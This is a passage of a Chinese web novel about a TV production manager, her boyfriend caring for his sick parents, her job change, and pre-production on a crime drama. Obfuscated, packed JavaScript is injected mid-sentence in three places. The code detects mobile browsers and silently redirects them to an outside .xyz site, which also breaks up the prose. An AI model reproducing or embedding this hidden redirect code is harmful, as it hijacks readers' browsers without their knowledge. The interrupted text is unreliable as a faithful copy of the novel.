亲戚们看不过眼,仍然给秦朗张罗了对象,他没去,姑娘家那边的闲话传来了:“也不看看自己,负担那么重,连个正式工作都没有,又不在北京,傲什么傲。” 若是以前在身边,杨树接陈樟电话,秦朗会生气,可那天他满心空落,脑子里只有一个想法,杨树和陈樟复合,她是不是就能偷偷懒,不那么累了?他舍不得她,但不能耽误她,他的负担是真的很重,她应该过得稳妥富足些。 杨树大怒,她特别讨厌这种自作主张式的“为了你好”,使劲拧秦朗的胳膊:“我和他早就过去了!” 秦朗承认那时他没想太多,他很累,如果杨树放弃他,他就能少操一个人的心了。杨树坐起来,低头看秦朗,秦朗也坐起来,两人都不做声,互相僵持了片刻,杨树张口咬他肩膀,咬得他嘴里嘶了一下,但仍不说话。 两人再度僵持,杨树心里抽着痛,起身收拾旅行箱:“你想分手就分手吧,我不喜欢强求。” 秦朗在床上呆坐,杨树很快就收拾好了,把毛衣和外套翻出来放在一边,再把旅行箱拉链用力拉上,竖起来。 哧啦一声响,像是划在心上。秦朗趿着拖鞋下床,蹲在杨树身旁看她,杨树抱着衣服起身,冷冷道:“我要换衣服去酒店住,你出去吧。” 秦朗的眼眶红了,嘴唇翕动,仍没有开口挽留,杨树把他往外推,不管秦家父母已入睡,大声道:“你走啊,走啊!” 秦朗不动,杨树推不走他,急得口不择言:“行,我去找陈樟!我这就去!” 秦朗扼住她的手腕,一把把她扣进怀里,堵上她的嘴。杨树本能地反抗挣扎,却挣脱不开,秦朗不放手,凶狠地咬她的唇,比她刚才咬得还重。 吻里掺杂着血腥味道,两张脸流着泪,紧紧相贴。两人吻了又吻,吻完了又吻,杨树扑打秦朗,咬牙低喝:“不是说没吃醋吗!” 秦朗双眼通红,嘶声道:“别赌气行吗?” 杨树赌气道:“你都要跟我分手了,我找谁,都不关你的事。” 秦朗这才承认,他从不曾真想过要跟她分手,每次一想到再不能和她在一起,他脑中就有个屏障似的,自动弹开,他想这是身体自动开启了保护机制,他内忧外患,精神不能崩溃。 杨树目露凶光,看着他的眼睛,再问一次:“真想放弃我吗?” 秦朗眼圈红得厉害:“不想。但这不是我想不想的问题,选择权在你。” 杨树慢慢平静下来,好一顿数落:“别跟我说长痛不如短痛。我也不是一定离不开你,但是互相喜欢的时候,就强行分手,我不服。我们好好相处,好吗?” 秦朗的眼睛仍有些发红:“好。” 杨树对着他胸口来个肘击,这人当真想过有天不再在一起,他对这份爱缺乏信心,这让杨树很生气,她又咬了他,咬得很重。等她睡着,秦朗对着镜子看伤口,惨淡地笑了笑。 第二天早上,杨树去主卧看秦家父母,路过秦朗卧室,一眼看到床头柜摆了一只相框。她走进去,照片是几年前,秦朗用手机抓拍的,她身后是彩虹。 过年得有过年的气象,两人分工,杨树外出买菜,秦朗在家收拾和照顾父母。湖南的冬天远不如内蒙冷,小区绿化带的月季仍在盛放,花枝俏生生地立着,开出碗口大的花朵。 杨树很喜欢湖南本地产的一种盒装酸奶,冻成四四方方的一块,再用小铁勺捣碎,当成冰沙吃,经常是她吃一盒,喂秦家父母合吃半盒。秦母已彻底不能行走,洗澡排泄都得由秦朗抱上抱下,秦父含混地说自己得快点好起来,不然儿子太操劳,老得快。 秦朗是在母亲生病后,才知道脊椎空洞症这个病症,他加了几个病友群,每天和病友家属互相打气。长沙有个男人曾经是运动健将,校运 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091479|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会上能拿名次,十几岁的时候,有天无缘无故地摔倒了,此后摔倒现象时有发生,被送去医院才知道患了病。他父母辞去工作,辗转求医,但孩子还是日复一日萎顿下去了。 孩子长成男人,体重突破了180斤。父母任劳任怨地照顾,但都非常忧惧,等到背不动儿子的时候,他该怎么办?有病友建议夫妻俩再生一个,他们也考虑过,但第二个孩子一出生就背负照顾哥哥和父母的重担,他的人生何以自处? 父母不想让骨肉置身于伦理困境,放弃再生育,他们已无法设想自己逐渐老去后,孩子的未来何去何从,日子不过是往前混一日是一日罢了。秦朗唏嘘,他是成年男人,体力没问题,若生病的是他,他不知道父母该怎么办。 杨树把给秦母擦洗身体的任务揽过来,秦母说:“所以你理解我不想拖累你们吧,换成是小朗,他只怕也想一死了之。” 杨树问:“您现在还这样想吗?” 秦母说当她看到儿子在她寻死后那么痛苦,就放弃死念了,杨树给她擦着后背,轻轻说:“阿姨一定要做到啊,别让他一辈子都过不去这个坎,他是真的很不容易。” 秦母答应了。杨树晾晒衣物,帮秦母翻身,秦父看着她,艰难地吐出三个字:“辛苦了。” 秦朗无比庆幸当初作出离开北京回老家的打算,要是没他在身边陪着,劝着,他不敢想象,再见到母亲是不是奔丧。 秦父去年办了病退,医生说他发生脑梗的面积小,情况不太严重,从大关节开始,他一点一点恢复活动能力,目前走路是左半身拖着右半身,但恢复到慢跑问题不大。 之前请的护工三月初才能回来,秦朗打算等他归位后,就腾出手学点东西。光阴不能虚度,他想多考几个证,能在家里做的兼职就会更多些,将来父亲状况好了,他再入职场不会掉队。 《瓷缘》去年作为献礼剧播出,二老都看了,今年杨树来了,就一起再看一遍。《瓷缘》当初收视率很稳定,播到一半小有涨幅,长夜影视公司开了庆功会,因为收视率还行,顺利回款有保障。 视频网站依然只肯开30万一集收购价,杨树估计今年长夜影视公司会妥协,毕竟能回来一千多万,还能让更多人看到。秦家父母都说《瓷缘》是明珠蒙尘,连他们也知道,有的后宫剧卖出了几个亿。 杨树笑笑,这都是市场选择。有的人喜欢嘲笑国产剧烂,但有质量的国产剧他们视而不见。每个行业都得养活很多人,赚钱是第一位的,拍了没收视率,没热度,亏本没人看,还有多少钱肯流向它们? 《瓷缘》不火,杨树也烦恼过,但爸爸盯着收视率算了半天:“看的人挺多啊,这要是赶火车,得坐几百列吧。” 杨树大乐,一列列火车如同箭簇齐发,这场面壮观,有排面,下一次,她想看到火箭。 秦朗给母亲安装了语音转成文字软件,秦母生病后,每天有空就说说话,撰写毕生回忆录,她说闲着容易胡思乱想,得找点事情做。杨树听说她写了几万字了,直夸厉害。 秦母说下次再有杨树参与的剧播出,她就学着写剧评,支持她的事业。杨树开心道:“谢谢阿姨。” 杨树在秦家住到大年初七才走,秦朗对父母仍不放心,不敢只让他俩在家,只把杨树送到门口。杨树坐上出租车离开,抬头看,阳台上是秦家三口的笑脸。 74. 第 74 章 杨树想看看天津的房子,特地先飞到天津,再回北京。房子住了租户,杨树没去打扰,站在楼下眺望,转头就望见爸爸说从阳台能看到的那棵银杏树。天气寒冷,它还在休眠期,等到叶子返青,北国之春就到了。 丁盼兮今年没回家过年,跟律师去日本旅行,章嘉敏带着女儿回了娘家,杨树打扫卫生,坐在沙发上喝茶。在湖南时,她和秦朗仔细商量了姚澈的工作邀请,仍无定论,她想再观望观望。 章嘉敏回京后,交出独立创作的《暗昼》剧本大纲,她第一次当编剧,心态很好,权当提供一个靶子,供方雯和杨树突突突扫射。 杨树感觉章嘉敏把警察塑造得太完美了,原著便是正直善良无缺点,但小说和戏剧有很大差别,小说可以写个伟光正的警察,经历了案件,最后依然伟光正,戏剧最好体现人物弧光,也就是成长性。 章嘉敏才知道“完美”不是夸奖,杨树问:“你相信这世界上有完美的真人吗?” 那些看似高尚者,常常是善于伪装者,章嘉敏摇头,杨树让她在人性方面多做点文章。原著里,警察面临挫折和死亡威胁时,有不少心理活动,读者通过文字就能感受到这种内化冲突,但转换成影视剧,得有更直接的事件。这就是很多原著框架好,阅读快感一流,但不能直接照着拍的缘故。 刑侦剧的案件是奇情路子,所以主角宜普通,不宜完美,真实的调性才出得来,完美跟刑侦剧的气质相冲,但普通人是最难写的。 罪犯有动机,警察不需要,抓匪徒是他天然的职责,但人物内心有心魔会更好看,杨树让两个编剧务必找出这一点,也就是为主角做缺陷设计,不过,警察是正面人物,缺点得是观众能接受的支点,简言之,一个让观众同情他的理由。 杨树和编剧们想了整整两天,詹忆一语点破:“让他是个协警吧。” 不在体制内,想进入体制,人物有了真实的目的,还能写点为人处世的缺点,写他作为市井屠狗辈的那一面。协警在影视剧里不属于很罕见的角色,但用到《暗昼》里很恰当。 章嘉敏改完第二版《暗昼》剧本大纲,方雯在章嘉敏基础上改了一道,厘清案情逻辑问题,过关了。 章嘉敏拿到稿费,请朋友们吃饭,为了防止律师又偷偷去买单,章嘉敏提前付了,结果律师带来几支红酒,价值赶得上在这家餐厅再吃十顿。 章嘉敏笑骂律师在钱方面大男子主义,一起出来吃饭,她从没花过钱,丁盼兮笑嘻嘻:“他花钱才高兴,让他花。” 律师对章嘉敏说:“谁赚得多点,就多花点。你俩跟盼兮关起门是一家人,别客气。” 姚澈工作室背了指标,《暗昼》是她今年5个项目里最短的一个,KR网站希望尽快开拍,方雯和章嘉敏做分集梗概期间,姚澈着手谈演员。 明堂影业的项目虽然暂缓开机,但选题储备仍在正常进行,杨树正和朱青聊选题,办公室门前人影一晃,探进祁宁的笑脸:“在车里等你。” 他说完就走了,朱青的助手小五起哄道:“哎哟。” 商务车趴在公司门口,杨树上车,祁宁说想带她去国贸那边新开的餐厅,他包了场,下午不会有第二桌客人,杨树皱了一下眉:“在上班,有事说事。” 祁宁看完《暗昼》原著,找姚澈申请饰演反一号,一个20年前的雨夜杀手,充满小镇残酷青春的味道,他今天来明堂影业跟姚澈签了意向合同,先前捂着没向杨树透露,就想着能跟她好好庆祝。 杨树耸眉:“为什么选反派?” 祁宁摸了摸头,坏笑道:“你说过,我能演边缘人,把观众三观带到沟里去的那种大反派,散发着邪气,但是该死的有魅力。” 杨树困惑,她居然这么胡说八道过,不记得了。祁宁见她一脸迷茫,有点委屈:“你不想看吗?” 杨树冷静地问:“这次给你多少钱?” 祁宁开心道:“涨了涨了,四百个,两个半月。” 杨树叹气,以前他说三个月能挣80万是在开玩笑,他跟长夜影视公司有长约在身,九成都得上缴,自己所得一成,还得支付他的工作室开支,在演员明星里穷成这样,真不知有什么好嘚瑟的。 祁宁问她知不知道今夕何夕,时局说变就变,影视圈已不是他初入行时遍地黄金了,如今一线明星的片酬至少都对半砍,他有戏拍就不错了,哪敢要高价?查税这几个月以来,新项目锐减,《暗昼》是平台要的项目,不愁播出,哪个演员不想演,姚澈是明堂影业的股东,完全可以用自家演员。 祁宁成功得到双男主之一,他认为纯属运气好,杨树倒理解姚澈为何答应他。在河北草原拍戏时,祁宁有多能吃苦,长了眼睛就能看到。公司跟他同龄的艺人演技是什么水平,杨树有数,他们目前走走偶像剧路线还行,但刑侦剧对演技和气质都有要求,祁宁演过几部正剧,心正,有野心,还有定力,且在同咖位演员里算便宜的,充分满足姚澈杀熟的需求。 不管怎么说,又是个好角色,杨树很高兴,祁宁眼中火苗明晃晃地冒出来,凑近她说:“请个假,陪我庆祝吧。晚上我们去后海,我知道有家茶楼环境特别好,他们说老板是真懂茶。” 丁盼兮跨年去无锡探班时,问过杨树打算如何处置跟他的关系,杨树当时想,祁宁不说破,她也不用说破,但现在不容她再装傻。她略作思忖,决定照直说:“我一堆事要忙,晚上得跟我男人视频。他特别喜欢《暗昼》,还说反派很出彩,要是知道是你演,他肯定会说选角绝了。” 祁宁的眼神黯淡了:“你们不是、不是……” 杨树存心笑得很幸福:“很好啊,过年在他家谈过了,我们不会分开。” 祁宁愣了一会儿神,才问:“怎样都不可能分开吗?” 杨树说:“那也不一定,他出轨,我就把他打到进医院,老死不相往来。” 祁宁问:“精神出轨还是身体出轨?” 杨树说:“在我这里没区别。” 祁宁又愣了一会儿神,想说点什么,没说出口,他很后悔曾经告诉过她那些,也后悔被她知道他试图拜过黄道婆的码头,但没有那些交心,两个人走不到这么近,他艰难地开口:“你是不是嫌我太脏?” 杨树望着他,被这张脸蛊惑的男女何其之多,她叹了一声:“你是我朋友,我对朋友的私德要求没那么高。” 祁宁凝视杨树,缓慢地眨着眼,微微侧着脸看窗外,曾经在这相同的泊车地点,与她有过近乎决裂的对谈,今时今日,他又像回到那滂沱大雨中的一天,睁大双眼,强忍住泪意。 看到祁宁这副模样,杨树的心被刺痛,她并不想在他欢天喜地拿到角色时,扬手就是一盆冰水,她敲敲车玻璃,轻笑道:“等你跟姚总正式签约,我喊上盼兮、嘉敏和朱青一起陪你庆祝吧,上次在无锡你都见过,她们三个是我最好的朋友。” 祁宁轻微地点了点头,生怕动作一大,眼泪就当着她的面落下来。他懂了,他被归到“最好的朋友”里了,他想跟她牵手走在深夜的后海,那一天,还会来吗? 杨树说声下次见,拉开车门,走进人群里。她没有直接回公司,去旁边的商铺排队买一只冰淇淋,她想她需要缓一缓。 无锡夜谈时,丁盼兮说以为祁宁能在她异地恋最苦的时候趁虚而入,一举得手,杨树说齐大非偶,跟有些人当朋友如沐春风,当恋人只会耗费心力,但她不想把精力花在跟情绪对抗上,人生有机会搏一把的时候,为什么不去做点能让人记住你的作品? 甜品站的玻璃窗反光,照出对面的街景,有一人的车缓缓驶过黄昏。杨树接过冰淇淋,脑中浮现初相见的时候,那个鞭打一树怒雪的他。后期画面上,雪花一朵朵抱合天地,纷飞作乐,如同他缤纷的情事,她只是落在他肩头偶然的一朵。 擎着冰淇淋往公司走,杨树忽然想起何时说过祁宁能演邪恶迷人的大反派,是前年圣诞节,祁宁告知《大清行商》剧组解散,他失去了第一个男一号那天,但今天他又有了一个好角色。杨树目光扫过街头,这个城市,人们步伐匆匆,都在得到一些,失去一些,谁又能例外。 制作方选主演得让平台和招商客户都满意,可选范围很小,祁宁顶多算准二线,KR网站副总裁对姚澈的人选有些拿捏不定。姚澈拿出《北宋宫事》的粗剪素材,再拿出祁宁的代表角色,说服了副总裁,从这几个角色来看,祁宁能演好刑侦剧里心机阴沉的反派。 秦朗最爱看罪案剧,杨树找他开出片单,统统发给祁宁,让他研究变态杀人狂的演法。祁宁虽然还没正式跟姚澈签约,毅然推掉了一个这两天找上门的古装甜宠剧男一号。很多罪犯大隐于市,言行越泯然众人越变态,他得多花点时间研究他们的姿态、眼神和语调。 章嘉敏大赞祁宁推得好,她特别不喜欢甜宠的“宠”,好好一个人,为什么要被宠,还都是男人宠女人。然而几部打着甜宠旗号的剧都火了,成本小,收益高,她女儿才上一年级,班里的女同学每天都讨论剧情,还自发站在贵女的立场上,维护男尊女卑三从四德。 当年在长夜影视,主管说过,当代流行文化对人的思想影响太大,审查自有存在的意义。那时杨树认为孩子如果被影视剧洗脑,是父母失职,但章嘉敏已经很精心教育了,却架不住表现几女争一男的宫斗宅斗剧层出不穷。 章嘉敏忧心忡忡,青春期她也看过很多偶像剧,以为得到男人的垂青和爱护就意味着爱,成年后再重温,才能从中看出险恶之处。可如今女儿的同学到老师都在看,社会舆论也鼓吹“被宠爱”的观点,她教育女儿简直寡不敌众。 想扭转局面,在影视剧里展现新观念,主创人员的观念和能力缺一不可,章嘉敏很悲观,有些女制片人、女投资人、女导演都是男权社会的得益者,她们没有为女性群体发声的想法,而且女性观众也没有达成共识,有的人看任何剧都只爱磕CP,这都是现实难题。 去姚澈工作室,以做IP剧为主,但在明堂影业能自主策划选题,多做点自己想做的故事,即使在执行过程中有不少减损,也是在为理想而努力,杨树仍没想好何去何从。当《北宋宫事》精剪出前10集,公司邀请各平台看样片时,夏停也来了,杨树特地约她喝咖啡,讨个主意。 夏停问:“你在做剧方面,有什么追求吗?” 杨树说:“我不想只做商品,想做几个跟任何人都敢吹一吹的作品。” 夏停让她不要被“三低”用户画像迷惑,降维消费是市场被平台垄断后形成的恶性循环,但很多时候观众只是没得选, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091480|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而不是真的低俗,有点深度的好剧推到他们面前,他们不吝于给出赞美,前提是要想办法被他们看到。 夏停深信观众的审美是在进步的,如果喜欢在网上发言和传播的观众不是某部剧的受众,它会失去所谓的热度,但不热衷玩社交网络的观众遍布全国,从业者不能为了一部分小年轻,就放弃更多人。 杨树点头:“我刚入行时,就知道影视剧是大众艺术,但是大众不止小年轻。” 国内不缺好的创作者,但他们缺乏机会,也缺乏展现的平台,视频网站不断在优化,夏停说:“影视业到最后拼的一定是内容质量,你要相信网站决策层里有不少脑子清醒的人。” 杨树问:“你们卫视现在情况好吗?” 卫视面向全国,思路是照顾每个观众,买一部戏希望老少咸宜,但网上看剧是大趋势。夏停笑说她和同仁也一直在研究,如果能在类型片的细分领域做到足够好,就能做出口碑,所以她建议杨树去KR网站。在那里,杨树能做制片主任,下一步就该是执行制片人了,身为内容产出者,要尽量去拿到决策权,向上走,走到权力中间去,才真正有机会做些改善的事。 KR网站的理念以内容为主布局未来的产业发展,放眼于未来,杨树道谢而去,所有行业都是在博弈,博弈是会带来进步的,她明确该走怎样的路了。 姚澈的自制剧工作室倾向泛人群的内容打造,本年度的工作计划除了《暗昼》,还有特情剧、金融背景的行业剧等IP改编剧,杨树约到她时间,询问工作室能不能做点体现和探讨当代女性生存和成长的原创故事,姚澈首肯,跟她多谈了一会儿。 《战朝阳》被审过几次,删了若干处精华台词,杨树很有意见,姚澈都知道,她说处于国情之下的时代结构里,影视剧不仅是娱乐商品,还是宣传品,如果杨树希望通过影视剧让人受点教育,那么在一定程度上,只能接受审查制度,因为具有教化的力量,必然就具有教唆的力量。 影视剧是一把双刃剑,身为从业者,只能看淡审查制度。姚澈说:“我们选准一个方向去执行,其余的事大家一起去努力,可以吗?” 3月下旬,杨树办妥离职手续,随同姚澈跳槽去KR网站,她的薪酬福利待遇比姚澈当日许诺的更好些,副总裁很优待姚澈的亲兵。 杨树喊出章嘉敏、丁盼兮和律师庆祝。她以前不太明白为什么那么多人都有名校情结,但她越来越发觉,名校出来的人很抱团,换个说法是他们很注重师门传承,两个人才同时站在面前,副总裁只会选择提携他的校友姚澈,姚澈的亲兵团里,她的师弟师妹占了一半之多。 丁盼兮举杯:“入行时举目无亲,不到三年就做到制片主任了,是真厉害。” 杨树很快乐,哪是她厉害,她很走运,沿路都遇到贵人,侥幸而已。她把部门交给姜妤管理,正式入职KR网站,熊好好跟来了,仍然做统筹,两人在《北宋宫事》剧组同吃同住快半年,结下了革命情谊。 朱青仍留在明堂影业,寒冬难熬,但她负责的现实题材的剧下半年会开机,还有一部反映中..□□史的史诗剧也在筹划中了。 《暗昼》由KR网站主投,是小成本网剧,杨树心情颇微妙,如今当上制片主任,即将变成姚澈那种杀熟不手软的人。但按照祁宁的说法,不算杀熟,很多人都能演的角色,定了他,仍是人情。 祁宁很想演好都市鬼魅般的杀手,做了很多准备功课,但KR网站突然改变主意,让他挑战正面男主角协警,反派由谢铠饰演。 谢铠的经纪公司认为反派更出彩,观众喜欢令人迷惑的男人。祁宁改而研究协警去了,杨树很惋惜,祁宁演亦正亦邪游走于灰色地带的角色更出彩,当年初见他演狮子王,她就想过,此人能演高智商变态杀手。 在KR网站,杨树见到了谢铠,他才20岁,全脸都整过,睁着一双细长的下三白眼睛,熊好好暗笑他眼小无神瞌睡脸,但他是男团担当,跳唱功夫突出,粉丝众多,都夸他是为舞台而生,在台上光芒万丈。 谢铠是男团里发展得最好的,接拍了若干广告代言,正在拍的言情剧是首作,但论名气不比祁宁差。杨树问了问,谢铠的片酬是1600万,这还是艺人大幅降薪后的内部价,她在心里骂了一万句。 谢铠骨架单薄,不像剧本里身板硬朗的罪犯,但长了这样一张满是起床气的不爽脸,很适合演厌世狂徒,杨树让方雯和章嘉敏针对谢铠本人特色,微调剧本。 《暗昼》总成本为4000万,费用很紧张,没法请名导,姚澈找了新锐导演钟鲁粤执导。钟鲁粤有过武侠剧和抗战剧的B组导演经历,长于动作戏,姚澈看过他的作品,判断他能拍好《暗昼》这种有暗黑气质的短剧。 钟鲁粤以白菜价加入,他约出双男主聊角色,聊完找姚澈开门见山:“演员还能换吗?” 谢铠一没看原著小说,二没看剧本,无论钟鲁粤问什么,他都茫茫然,对待出演的项目如此轻慢,钟鲁粤不想用他。 谢铠是KR网站副总裁钦定之人,姚澈说:“我也不想用,你尽管虐他。” 祁宁跟杨树汇报,他把自己为反派做的案头工作主动发给谢铠了,一部戏成不成功,需要群策群力。杨树给他一个大大的笑脸表情,着手选景。 75. 第 75 章 刑侦剧和罪案片常在北方取景,北方的严寒和广袤,有这种类型片的氛围。但东北还是西北,钟鲁粤和姚澈各有观点,最终,姚澈尊重导演,定了东北。 剧本以下岗潮为背景,几个案件都发生在厂矿,杨树约施严和太太见面,施太太是辽宁鞍山人,工厂子弟。杨树和陈樟恋爱那几年,经常跟这两口子见面,施太太知无不言,给杨树提供了若干地点。 杨树和钟鲁粤去东北勘景,钟鲁粤看上一个报废汽车回收的工厂,可它被几个电影相中过,身价倍升,一天租金几十万。 钟鲁粤35岁,自小在广东长大,看遍香港hei..帮电影,被影响至深,杨树了解到他想要的感觉,把工厂里里外外拍了个遍,顶着大太阳东奔西走,搜寻相似的老工厂。 跑了十几个地方,杨树仍没找到让钟鲁粤满意的。朱青让她去武汉看看,那年去武汉拜访《不惑之年》的原著作者叶罗时,朱青看到老城居民楼昏暗嘈杂,江水日夜奔腾,带有复杂的故事感,更兼草莽气。 武汉也是老工业城市,钟鲁粤回京搭班子,杨树坐绿皮火车去武汉。她以前当制片助理时,还没有太强的省钱意识,当上制片主任了,立刻抠抠索索,出了火车站没打车,挤上公交车,穿梭在武汉三镇。 在叶罗的指点下,杨树找到符合钟鲁粤想法的老工厂。工厂曾经主营报废车解体加工,重型机械多,金属锈蚀感很到位,钟鲁粤看到她拍摄的视频,笑称是理想的杀人场地。 经过杨树公关,此处可免费拍摄,只要片尾名单鸣谢本地村委会就行,姚澈乐开了花。 杨树包了一辆车,拿着攻略游走于武汉三镇,从码头到村落都摸透,拟定了数处拍摄场景,钟鲁粤赶来勘查现场拍摄情况,再赶回北京面试演员。 除了双男主,剧中其余主要角色戏份不少,副导演提前一周把试镜剧本发给了相关演员,并且标注了规定的戏剧动作,但面试时还是目睹了各种奇形怪状的表演。 谢铠在拍言情剧,钟鲁粤让他请一天假来试镜现场观看,谢铠拒绝了。钟鲁粤找了姚澈,姚澈找了KR网站的副总裁。副总裁拿起手机,给谢铠的经纪人发了几句话。 谢铠拍完一个快消品的广告片,赶来观看试镜,但杨树看他的样子,他丝毫没有珍惜机会的意识,不耐烦三个字写在脸上。 谢铠颇得经纪人欢心,给他介绍了诸多名媛和靠山,据熊好好说,谢铠的大金主大有来头,连网站的决策层都不敢怠慢。杨树仔细瞧他,脸已做不出大表情,艳帜高张可能因为跳舞出身,对某些人具备性魅力。 谢铠正在演的言情剧角色是富家公子,粉丝们都夸他是玉面小王子,脸再僵硬,在粉丝眼里这叫清冷矜贵。 剧本涉及到罪犯骑摩托逃窜的场面,玉面小王子要求编剧多写几场,还指定了品牌型号:雅马哈暴龙。 杨树查了价格,几十万块钱的车,租金不便宜,还得为它投重保,她怒骂小子狂妄,骂完恢复理智,谢铠不符合她审美,但身条修长,骑摩托的身姿有看点。他演的是穷人,穷人骑个两千块的大摩托吧。 导演钟楚粤带着助手用电脑软件模拟重场戏和打斗戏的场面调度,依据戏剧动作设计分镜,杨树则为车辆、住宿、设备租赁、餐食、人员片酬出纳等各项细节做预算表,即使有丁盼兮帮忙,她每天都累瘫了,抽空找秦朗聊聊天,是她为数不多的慰藉。 《暗昼》定于5月23日开机,工期很紧,杨树把已出剧本再过一道。现在的受众不会长时间粘着目标,一旦做得不行,人家随时弃剧,所以剧本的基础一定要打牢。 施严散播了新八卦,他接到了李伊梦的喜帖。新郎是金融界人士,有头有脸,结过婚,跟前妻好聚好散,一双儿女都已长大成人,在加拿大留学。 男人纵情声色,不打算再婚,但李伊梦怀上了。亲子鉴定,孩子的确是男人的。男人老来得子,加之李伊梦的制片人身份,也不算辱没他,两人结婚了。 李伊梦挺着孕肚步入婚姻殿堂,施严发来现场照片:“她问我,你还没嫁掉呐?” 照片上,李伊梦挽着她秃头大肚的丈夫,笑得喜气洋洋。杨树笑笑,一个对自己这么狠的女的,对别人只会更狠,以后更得绕着走。 《大唐银楼》仍被积压,但李伊梦比杨树以为的能折腾,她办完婚礼没去度蜜月,很快官宣担任一部IP改编剧《我是这样把男朋友作没了》的制片人,导演是舒纹。杨树和章嘉敏齐声喝彩,同类总会走到一起。 《我是这样把男朋友作没了》是QE网站的定制剧,营销通稿把它定位为话题剧,称它“展现社会新人类的生活困境及态度”。杨树很好奇,让施严帮忙弄来剧本和策划案。 章嘉敏对项目也好奇,“把男朋友作没了”有什么必要写成警世恒言,多大点事,没了就没了。 杨树以为是反讽,但剧本与其说是剧本,不如说是爆款公众号合集,先列出公共话题一二三四五,再顺着它们掰情节,不讲逻辑,也不写人物,破事烂人,热闹纷呈,最终结局是女主角痛定思痛,做小伏低,终于顺利结婚生子。 杨树看得冷笑,制片人和导演都是把男人当跳板的女人,但她们偏偏弄出这种东西。 李伊梦接受记者采访,表示此剧书写了时代的痛点,杨树把剧本丢到一旁,跟制片助理核算《暗昼》剧组用车情况。剧组多少人、多少器材,器材体积多少,如何装车、各种常用车型的承载量和租金……制片主任都得烂熟于心,以便省出更多钱。 4月中旬,方雯和章嘉敏赶出剧本全稿,杨树提交上去,KR网站请公安部的专家过目,免得拍完再删减,损失太大。 等了十来天,审查意见下来了,出乎意料顺利,审查人员提了警司、警衔和警察内部配合上的专业意见,并要求弱化“弑父”这一大逆不道的核心点,对剧本整体给出“甚好”的评价。 既然专家对剧本评价高,副总裁去找金盾影视中心合作,以应对难以揣摩的政策变化。 统筹熊好好被杨树当成助手用,分头去办理各种证,不然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091481|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道具警车一上街,就会引来警察,拍摄随时被叫停。 千头万绪都要处理,杨树又累又充实,但《暗昼》的推广不算顺利。虽然有几部叫得响的同类网剧珠玉在前,每次临到发稿子,宣传人员都愁破头皮,嫌它“没什么点”,因为核心是“弑父”,但这是谜底,不能亮得太早。 秦朗问:“逻辑好,案件新,对标美剧,这些都称不上热点吗?” 杨树说不能够,这是在夸内容,但内容好不好,观众才能评判,主创说了不算。多少项目在开机之前吹得声势浩大,但播出后大家才发现不过是“大山临盆,天崩地裂,生只耗子”。 宣传始终没找出足够好的热点,招商因此不理想。熊好好再次建议炒作耽美向,但刑侦题材过审本就艰难,再加上耽美,风险加倍,姚澈否了,剧本里警匪之间天然形成关系,不用再牵强附会。 直到剧本定稿,《暗昼》只拉到几个稍微像样的品牌赞助,姚澈心态挺好,广告少,剧集的完整性就保住了,她计划等剪出几集样片再招商,成品比剧本直观,她有信心征服别人。 祁宁和谢铠等主要演员来拍摄定装照,杨树和祁宁碰了面,上下一打量:“帅。” 祁宁开心:“拍个合照?” 杨树拿起手机,祁宁嘲笑她居然不开美颜,拿出自己的手机连拍几张:“是不是好看了很多?” 制片助理喊杨树过去,杨树一溜烟跑走了,祁宁收回目光,低头给两人都加上猫胡须,看了一阵,笑了一下。 杨树拿到精修后的定装照,再次慨叹罪犯一角感觉不对。《暗昼》从人设到立意都很铁血,谢铠各方面都不足,立不住悍匪人设,所幸他那双下三白眼救了他,面无表情看人时有那么几分阴险。 开机之日近了,钟鲁粤团队提前一周去武汉,杨树安排车队载着人员、服道化、设备器材等从北京出发,开往武汉,刚上五环,她接到朱青电话。 朱青需要去宣武医院做增强MRV,医院开出的预约单是早上8点半,必须带上家属或朋友,不然不予受理。但早上8点半是上班高峰期,而且宣武医院在西边,得穿越半个北京,章嘉敏得送女儿上学,赶不过去,朱青没有能开口的人。 杨树爽快应承:“下周四?好,我头天晚上回北京。要做核磁,是身体哪里很不对劲吗?” 朱青坦白了病情,去年9月底,她突发耳鸣,看了很多医生,起先诊断是周围神经病,但短短数日,视力出现异常,视物模糊不清,如同隔着玻璃看世界,朱青做了一系列眼部检查,没找到病因。 在眼科医生的指点下,朱青去宣武医院就医,主任医师根据她的症状,初步判断很可能是脑血管问题,给她预约了增强MRV,查看脑静脉问题。 宣武医院是少数几家能查脑静脉的医院,前往武汉的车上,杨树查了很多资料,如果脑静脉有问题,将有脑中风的风险,但朱青不过33岁。杨树想到秦父,心头酸楚,跨年夜在无锡,她第一次觉察到朱青的孤寂,原来那时她就已经患病了。 76. 第 76 章 